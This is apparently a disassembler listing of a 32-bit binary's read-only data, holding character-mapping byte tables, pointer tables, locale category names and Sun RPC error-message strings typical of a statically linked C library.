		db    0	;  
		db 0ABh	; ╚
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AEh	; ў
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AFh	; ╞
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B0h	; ╟
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B2h	; ╡
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B3h	; Ё
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B4h	; Є
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B5h	; ╣
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B6h	; І
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B8h	; ╦
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B9h	; ╧
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BAh	; ╨
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BBh	; ╩
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BCh	; ╪
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BDh	; Ґ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BEh	; Ў
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BFh	; ©
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C0h	; ю
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C1h	; а
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C2h	; б
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C3h	; ц
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C4h	; д
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C7h	; г
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C8h	; х
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C9h	; и
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CAh	; й
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CBh	; к
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CCh	; л
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CDh	; м
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CEh	; н
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CFh	; о
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D0h	; п
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D1h	; я
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D2h	; р
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D3h	; с
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D4h	; т
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D9h	; ы
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DAh	; з
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DBh	; ш
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DCh	; э
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DDh	; щ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DEh	; ч
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DFh	; ъ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E0h	; Ю
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E1h	; А
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E2h	; Б
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E3h	; Ц
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E4h	; Д
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E5h	; Е
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E6h	; Ф
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E7h	; Г
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E8h	; Х
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E9h	; И
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EAh	; Й
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EBh	; К
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ECh	; Л
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EDh	; М
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EEh	; Н
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EFh	; О
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F0h	; П
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F1h	; Я
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F2h	; Р
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F3h	; С
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F4h	; Т
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F5h	; У
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F6h	; Ж
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F8h	; Ь
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F9h	; Ы
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FAh	; З
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FBh	; Ш
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FCh	; Э
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FDh	; Щ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FEh	; Ч
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FFh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    5	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    6	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    7	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    9	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Bh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Ch	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Dh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  10h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  11h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  12h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  13h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  14h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  15h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  16h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  17h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  18h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  19h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Bh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Ch	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Dh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  20h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  21h	; !
		db    0	;  
		db    0	;  
		db    0	;  
		db  22h	; "
		db    0	;  
		db    0	;  
		db    0	;  
		db  23h	; #
		db    0	;  
		db    0	;  
		db    0	;  
		db  24h	; $
		db    0	;  
		db    0	;  
		db    0	;  
		db  25h	; %
		db    0	;  
		db    0	;  
		db    0	;  
		db  26h	; &
		db    0	;  
		db    0	;  
		db    0	;  
		db  27h	; '
		db    0	;  
		db    0	;  
		db    0	;  
		db  28h	; (
		db    0	;  
		db    0	;  
		db    0	;  
		db  29h	; )
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Ah	; *
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Bh	; +
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Ch	; ,
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Dh	; -
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Eh	; .
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Fh	; /
		db    0	;  
		db    0	;  
		db    0	;  
		db  30h	; 0
		db    0	;  
		db    0	;  
		db    0	;  
		db  31h	; 1
		db    0	;  
		db    0	;  
		db    0	;  
		db  32h	; 2
		db    0	;  
		db    0	;  
		db    0	;  
		db  33h	; 3
		db    0	;  
		db    0	;  
		db    0	;  
		db  34h	; 4
		db    0	;  
		db    0	;  
		db    0	;  
		db  35h	; 5
		db    0	;  
		db    0	;  
		db    0	;  
		db  36h	; 6
		db    0	;  
		db    0	;  
		db    0	;  
		db  37h	; 7
		db    0	;  
		db    0	;  
		db    0	;  
		db  38h	; 8
		db    0	;  
		db    0	;  
		db    0	;  
		db  39h	; 9
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Ah	; :
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Bh	; ;
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Ch	; <
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Dh	; =
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Eh	; >
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Fh	; ?
		db    0	;  
		db    0	;  
		db    0	;  
		db  40h	; @
		db    0	;  
		db    0	;  
		db    0	;  
		db  61h	; a
		db    0	;  
		db    0	;  
		db    0	;  
		db  62h	; b
		db    0	;  
		db    0	;  
		db    0	;  
		db  63h	; c
		db    0	;  
		db    0	;  
		db    0	;  
		db  64h	; d
		db    0	;  
		db    0	;  
		db    0	;  
		db  65h	; e
		db    0	;  
		db    0	;  
		db    0	;  
		db  66h	; f
		db    0	;  
		db    0	;  
		db    0	;  
		db  67h	; g
		db    0	;  
		db    0	;  
		db    0	;  
		db  68h	; h
		db    0	;  
		db    0	;  
		db    0	;  
		db  69h	; i
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Ah	; j
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Bh	; k
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Ch	; l
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Dh	; m
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Eh	; n
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Fh	; o
		db    0	;  
		db    0	;  
		db    0	;  
		db  70h	; p
		db    0	;  
		db    0	;  
		db    0	;  
		db  71h	; q
		db    0	;  
		db    0	;  
		db    0	;  
		db  72h	; r
		db    0	;  
		db    0	;  
		db    0	;  
		db  73h	; s
		db    0	;  
		db    0	;  
		db    0	;  
		db  74h	; t
		db    0	;  
		db    0	;  
		db    0	;  
		db  75h	; u
		db    0	;  
		db    0	;  
		db    0	;  
		db  76h	; v
		db    0	;  
		db    0	;  
		db    0	;  
		db  77h	; w
		db    0	;  
		db    0	;  
		db    0	;  
		db  78h	; x
		db    0	;  
		db    0	;  
		db    0	;  
		db  79h	; y
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Ah	; z
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Bh	; [
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Ch	; \
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Dh	; ]
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Eh	; ^
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Fh	; _
		db    0	;  
		db    0	;  
		db    0	;  
		db  60h	; `
		db    0	;  
		db    0	;  
		db    0	;  
		db  61h	; a
		db    0	;  
		db    0	;  
		db    0	;  
		db  62h	; b
		db    0	;  
		db    0	;  
		db    0	;  
		db  63h	; c
		db    0	;  
		db    0	;  
		db    0	;  
		db  64h	; d
		db    0	;  
		db    0	;  
		db    0	;  
		db  65h	; e
		db    0	;  
		db    0	;  
		db    0	;  
		db  66h	; f
		db    0	;  
		db    0	;  
		db    0	;  
		db  67h	; g
		db    0	;  
		db    0	;  
		db    0	;  
		db  68h	; h
		db    0	;  
		db    0	;  
		db    0	;  
		db  69h	; i
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Ah	; j
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Bh	; k
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Ch	; l
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Dh	; m
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Eh	; n
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Fh	; o
		db    0	;  
		db    0	;  
		db    0	;  
		db  70h	; p
		db    0	;  
		db    0	;  
		db    0	;  
		db  71h	; q
		db    0	;  
		db    0	;  
		db    0	;  
		db  72h	; r
		db    0	;  
		db    0	;  
		db    0	;  
		db  73h	; s
		db    0	;  
		db    0	;  
		db    0	;  
		db  74h	; t
		db    0	;  
		db    0	;  
		db    0	;  
		db  75h	; u
		db    0	;  
		db    0	;  
		db    0	;  
		db  76h	; v
		db    0	;  
		db    0	;  
		db    0	;  
		db  77h	; w
		db    0	;  
		db    0	;  
		db    0	;  
		db  78h	; x
		db    0	;  
		db    0	;  
		db    0	;  
		db  79h	; y
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Ah	; z
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Bh	; {
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Ch	; |
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Dh	; }
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Eh	; ~
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Fh	; 
		db    0	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		db    0	;  
		db    0	;  
		db    0	;  
		db  81h	; │
		db    0	;  
		db    0	;  
		db    0	;  
		db  82h	; ┌
		db    0	;  
		db    0	;  
		db    0	;  
		db  83h	; ┐
		db    0	;  
		db    0	;  
		db    0	;  
		db  84h	; └
		db    0	;  
		db    0	;  
		db    0	;  
		db  85h	; ┘
		db    0	;  
		db    0	;  
		db    0	;  
		db  86h	; ├
		db    0	;  
		db    0	;  
		db    0	;  
		db  87h	; ┤
		db    0	;  
		db    0	;  
		db    0	;  
		db  88h	; ┬
		db    0	;  
		db    0	;  
		db    0	;  
		db  89h	; ┴
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Ah	; ┼
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Bh	; ▀
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Ch	; ▄
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Dh	; █
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Eh	; ▌
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Fh	; ▐
		db    0	;  
		db    0	;  
		db    0	;  
		db  90h	; ░
		db    0	;  
		db    0	;  
		db    0	;  
		db  91h	; ▒
		db    0	;  
		db    0	;  
		db    0	;  
		db  92h	; ▓
		db    0	;  
		db    0	;  
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db    0	;  
		db    0	;  
		db  94h	; ■
		db    0	;  
		db    0	;  
		db    0	;  
		db  95h	; ∙
		db    0	;  
		db    0	;  
		db    0	;  
		db  96h	; √
		db    0	;  
		db    0	;  
		db    0	;  
		db  97h	; ≈
		db    0	;  
		db    0	;  
		db    0	;  
		db  98h	; ≤
		db    0	;  
		db    0	;  
		db    0	;  
		db  99h	; ≥
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Bh	; ⌡
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Ch	; °
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Dh	; ²
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Eh	; ·
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Fh	; ÷
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A0h	; ═
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A1h	; ║
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A2h	; ╒
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A3h	; ё
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A4h	; є
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A5h	; ╔
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A6h	; і
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A9h	; ╘
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AAh	; ╙
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ABh	; ╚
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AEh	; ў
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AFh	; ╞
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B0h	; ╟
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B2h	; ╡
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B3h	; Ё
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B4h	; Є
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B5h	; ╣
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B6h	; І
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B8h	; ╦
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B9h	; ╧
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BAh	; ╨
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BBh	; ╩
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BCh	; ╪
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BDh	; Ґ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BEh	; Ў
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BFh	; ©
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C0h	; ю
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C1h	; а
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C2h	; б
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C3h	; ц
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C4h	; д
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C7h	; г
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C8h	; х
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C9h	; и
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CAh	; й
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CBh	; к
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CCh	; л
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CDh	; м
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CEh	; н
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CFh	; о
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D0h	; п
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D1h	; я
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D2h	; р
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D3h	; с
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D4h	; т
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D9h	; ы
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DAh	; з
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DBh	; ш
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DCh	; э
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DDh	; щ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DEh	; ч
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DFh	; ъ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E0h	; Ю
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E1h	; А
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E2h	; Б
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E3h	; Ц
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E4h	; Д
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E5h	; Е
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E6h	; Ф
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E7h	; Г
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E8h	; Х
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E9h	; И
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EAh	; Й
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EBh	; К
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ECh	; Л
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EDh	; М
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EEh	; Н
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EFh	; О
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F0h	; П
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F1h	; Я
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F2h	; Р
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F3h	; С
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F4h	; Т
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F5h	; У
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F6h	; Ж
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F8h	; Ь
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F9h	; Ы
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FAh	; З
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FBh	; Ш
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FCh	; Э
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FDh	; Щ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FEh	; Ч
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FFh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  90h	; ░
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    5	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C0h	; ю
		db  9Ah	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C1h	; а
		db  9Dh	; ²
		db    6	;  
		db    8	;  
		db 0C2h	; б
		db 0A3h	; ё
		db    6	;  
		db    8	;  
unk_806A9E4	db    0	;		; DATA XREF: .rodata:0806AA20o
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FFh	;  
		db 0A9h	; ╘
		db    6	;  
		db    8	;  
		db 0FEh	; Ч
		db 0A9h	; ╘
		db    6	;  
		db    8	;  
		db 0FCh	; Э
		db 0A9h	; ╘
		db    6	;  
		db    8	;  
		db  7Fh	; 
		db    0	;  
		db    0	;  
		db  2Eh	; .
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_806AA04	dd 8079288h		; DATA XREF: sub_8062CF8+11r
					; sub_8062CF8+1Br ...
		dd offset dword_8078890
		dd offset off_8079294
		dd offset off_8079284
		dd offset off_8079290
		dd offset off_807928C
dword_806AA1C	dd 806A9C4h		; DATA XREF: sub_8062CF8+39r
					; sub_8062D4C+395r ...
		dd offset unk_806A9E4
		dd offset unk_806BC54
		dd offset unk_806BBBC
		dd offset unk_806BBC8
		dd offset unk_806BC14
dword_806AA34	dd 806AA82h		; DATA XREF: sub_8062940+221r
					; sub_8062940+28Ar ...
dword_806AA38	dd 806AA77h		; DATA XREF: sub_8062D4C+213r
dword_806AA3C	dd 806AA6Fh		; DATA XREF: sub_8062D4C+238r
dword_806AA40	dd 806AA64h		; DATA XREF: sub_8062D4C+259r
dword_806AA44	dd 806AA58h		; DATA XREF: sub_8062D4C+27Ar
dword_806AA48	dd 806AA4Ch		; DATA XREF: sub_8062D4C+29Br
aLc_messages	db 'LC_MESSAGES',0
aLc_monetary	db 'LC_MONETARY',0
aLc_collate	db 'LC_COLLATE',0
aLc_time	db 'LC_TIME',0
aLc_numeric	db 'LC_NUMERIC',0
aLc_ctype	db 'LC_CTYPE',0
		db  90h	; ░
dword_806AA8C	dd 8			; DATA XREF: sub_8062940+71r
					; sub_8062940+F5r ...
dword_806AA90	dd 0Ah			; DATA XREF: sub_8062D4C+20Br
dword_806AA94	dd 7			; DATA XREF: sub_8062D4C+230r
dword_806AA98	dd 0Ah			; DATA XREF: sub_8062D4C+251r
dword_806AA9C	dd 0Bh			; DATA XREF: sub_8062D4C+272r
dword_806AAA0	dd 0Bh			; DATA XREF: sub_8062D4C+293r
dword_806AAA4	dd 8066BC4h		; DATA XREF: sub_8062CF8+26r
					; sub_8062CF8+30r
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
unk_806AABC	db  43h	; C		; DATA XREF: sub_8062940+17Fo
					; sub_8062C9C+17o ...
		db    0	;  
unk_806AABE	db  43h	; C		; DATA XREF: sub_8062940+157o
					; sub_8062D4C+364o ...
		db    0	;  
aPosix		db 'POSIX',0            ; DATA XREF: sub_8062940+16Co
					; sub_8062D4C+379o ...
aLc_all		db 'LC_ALL',0           ; DATA XREF: sub_8062D4C+4Bo
aLang		db 'LANG',0             ; DATA XREF: sub_8062D4C+8Co
					; sub_8062D4C+DAo ...
aS_2		db '%s: ',0             ; DATA XREF: sub_8063688+36o
					; sub_8063958+22o
aErrnoS		db '; errno = %s',0     ; DATA XREF: sub_8063688+E6o
aLowVersionLuHi	db '; low version = %lu, high version = %lu',0 ; DATA XREF: sub_8063688+11Co
					; sub_8063688+1B8o
aWhy		db '; why = ',0         ; DATA XREF: sub_8063688+147o
aS_3		db '%s',0               ; DATA XREF: sub_8063688+172o
					; sub_8063894+11o ...
aUnknownAuthent	db '(unknown authentication error - %d)',0 ; DATA XREF: sub_8063688+180o
aS1LuS2Lu	db '; s1 = %lu, s2 = %lu',0 ; DATA XREF: sub_8063688+1DCo
asc_806AB51	db 0Ah,0		; DATA XREF: sub_8063688+1F2o
					; sub_8063958+E3o
aRpcFailedUnspe	db 'RPC: Failed (unspecified error)',0
aRpcProgramNotR	db 'RPC: Program not registered',0
aRpcPortMapperF	db 'RPC: Port mapper failure',0
aRpcUnknownProt	db 'RPC: Unknown protocol',0
aRpcUnknownHost	db 'RPC: Unknown host',0
aRpcRemoteSyste	db 'RPC: Remote system error',0
aRpcServerCanTD	db 'RPC: Server can',27h,'t decode arguments',0
aRpcProcedureUn	db 'RPC: Procedure unavailable',0
aRpcProgramVers	db 'RPC: Program/version mismatch',0
aRpcProgramUnav	db 'RPC: Program unavailable',0
aRpcAuthenticat	db 'RPC: Authentication error',0
aRpcIncompatibl	db 'RPC: Incompatible versions of RPC',0
aRpcTimedOut	db 'RPC: Timed out',0
aRpcUnableToRec	db 'RPC: Unable to receive',0
aRpcUnableToSen	db 'RPC: Unable to send',0
aRpcCanTDecodeR	db 'RPC: Can',27h,'t decode result',0
aRpcCanTEncodeA	db 'RPC: Can',27h,'t encode arguments',0
aRpcSuccess	db 'RPC: Success',0
aRpcUnknownErro	db 'RPC: (unknown error code)',0 ; DATA XREF: sub_80638B8+62o
asc_806AD30	db ' - ',0              ; DATA XREF: sub_8063958+55o
					; sub_8063958+78o
aErrorD		db 'Error %d',0         ; DATA XREF: sub_8063958+CAo
aFailedUnspecif	db 'Failed (unspecified error)',0
aInvalidServerV	db 'Invalid server verifier',0
aClientCredenti	db 'Client credential too weak',0
